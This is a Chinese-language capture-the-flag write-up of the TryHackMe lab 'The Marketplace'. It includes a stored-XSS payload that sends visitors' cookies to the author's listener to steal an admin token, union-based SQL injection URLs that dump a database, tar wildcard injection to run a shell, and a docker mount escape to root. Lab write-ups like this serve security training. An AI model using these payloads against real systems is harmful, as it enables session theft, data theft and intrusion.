【THM】The Marketplace练习
与本文相关的TryHackMe实验房间链接:TryHackMe | The Marketplace
简介:你能接管marketplace的基础设施吗?
The Marketplace的系统管理员Michael允许您访问他的一个内部服务器,因此您可以渗透他和他的团队正在开发的The Marketplace平台。他说,他和他的团队还需要解决一些bug。
第一题:flag 1是什么?
第一步
端口扫描
首先使用nmap对端口进行扫描
nmap -Pn -sV -T4 10.10.42.48
可以发现目标开放了3个端口:22/tcp ssh服务、80/tcp http服务、32768/tcp http服务
第二步
访问网站
我们先进入网站看看界面
可以发现这个超市就只卖仙人掌和笔记本电脑
我们可以做的操作有登录和注册,先注册一个账号看看:
注册登录后多出两个功能点:上架商品和消息,并且在商品页面中可以联系卖家和举报产品
我们尝试上架一个商品,发现存在存储型XSS漏洞:
尝试举报产品会收到系统的消息
第三步
信息收集
网页源码中没有藏什么东西
我们进行目录扫描:
gobuster dir -u http://10.10.42.48 -w Filenames_or_Directories_All.txt
我们得到一个很重要的路径:/admin
(robots.txt中写的路径也是如此)
管理员的页面禁止我们访问:
第四步
尝试越权
我们先抓个包观察一下我们的请求:
可以发现我们的Cookie中含有token识别我们的身份,我们尝试解码:
可以发现有一个admin的参数,我们尝试修改为true
进入/admin
,但是失败了
第五步
利用XSS漏洞进行钓鱼
这里有一个很骚的思路,我们上传商品存在存储型XSS漏洞,那么我们可以在我们的商品页面作为钓鱼页面,举报自己的商品诱导管理员审核,然后得到管理员的Cookie,提取他的Token
首先我们建立一个web服务器进行监听:
python -m http.server
然后构造XSS钓鱼页面,当有人访问的时候获取他的cookie
<img src=x onerror=this.src="http://10.10.22.44:8000/?c="+document.cookie>
<img>
用于加载图像。
src=x
设置一个无效的图像源,通常会导致加载失败。
onerror
当图像加载失败时触发的事件。
this.src
在图像加载失败时,将图像的 src
属性设置为一个 URL,即为我们构造的一个新的URL将当前页面的 cookies 作为查询参数添加到该 URL 中
document.cookie
获取当前页面的 cookies
可以发现正在查看这个页面的自己的cookie不断回显出来,我们现在举报商品
发现有几条不一样的,我们提取Token分析:
有了admin的Token,我们现在换上:
成功进入admin后台,得到了flag:
第二题:flag 2是什么?(User.txt)
第一步
观察功能点
成为后台管理员,我们能做的操作有:查看用户详细信息、删除用户
我们可以发现我们查看用户信息时是直接GET请求数字得到的信息:
sqlmap -u "http://10.10.42.48/admin?user=1" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MjgxMTgxNzB9.H8NLhz-z1p3WvuMLZiNWphI9tZvibVh1mnAJScEWFlc"
别用SQLMAP!!!!直接给你cookie的token整报废又得重新拿token
第二步
SQL注入
我们尝试进行注入:
http://10.10.42.48/admin?user=1 order by 3 --+
正常回显
http://10.10.42.48/admin?user=1 order by 5 --+
报错,因此可以判断网站查询的字段数为4
http://10.10.42.48/admin?user=1 and 1=2 union select 1,2,3,4--+
发现1,2的位置可以回显
http://10.10.42.48/admin?user=1 and 1=2 union select database(),2,3,4--+
http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+
http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+
http://10.10.42.48/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+
我们发现了关键信息,SSH连接的密码!
第三步
使用ssh连接
我们可以发现这是user1发送给user3的消息,我们所以我们可以尝试使用jake作为用户名进行连接:
ssh jake@10.10.42.48
第三题:flag 3是什么?(Root.txt)
第一步
查看我们的权限
sudo -l
我们可以发现我们可以不使用密码以michael的身份运行/opt/backups/backup.sh
我们看看脚本中的命令
cat /opt/backups/backup.sh
这是一个压缩备份当前目录下的所有文件的脚本
tar cf /opt/backups/backup.tar *
第二步
提升我们的权限
我们在GTFOBins中搜索发现:
我们使用a方式,我们分析其原理:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/dev/null 特殊的路径,写入该文件的数据都会被丢弃,但脚本中已经定义了路径所以我们不用管
--checkpoint=1 在归档过程中每处理一个文件时,生成一个检查点。这个选项通常用于长时间运行的 tar 操作。
--checkpoint-action=exec=/bin/sh 在每个检查点触发时执行指定的命令。这里指定的命令是 /bin/sh
,即启动一个新的 shell。
只要能够让--checkpoint=1
和--checkpoint-action=exec=sh
运行起来就行了,那么我们只用创建两个名为--checkpoint=1
和--checkpoint-action=exec=sh
的文件就行了
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh"
sudo -u michael /opt/backups/backup.sh
我们成为了michael!
第三步
查看我们的权限
find / -type f -perm -04000 -ls 2>/dev/null
我们在GTFOBins中搜索没有发现,我们看看用户组
id
可以发现michael是docker用户
第四步
提升我们的权限
我们可以在GTFOBins中发现docker的提权方法:
我们使用命令:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
直接看root文件夹中的flag3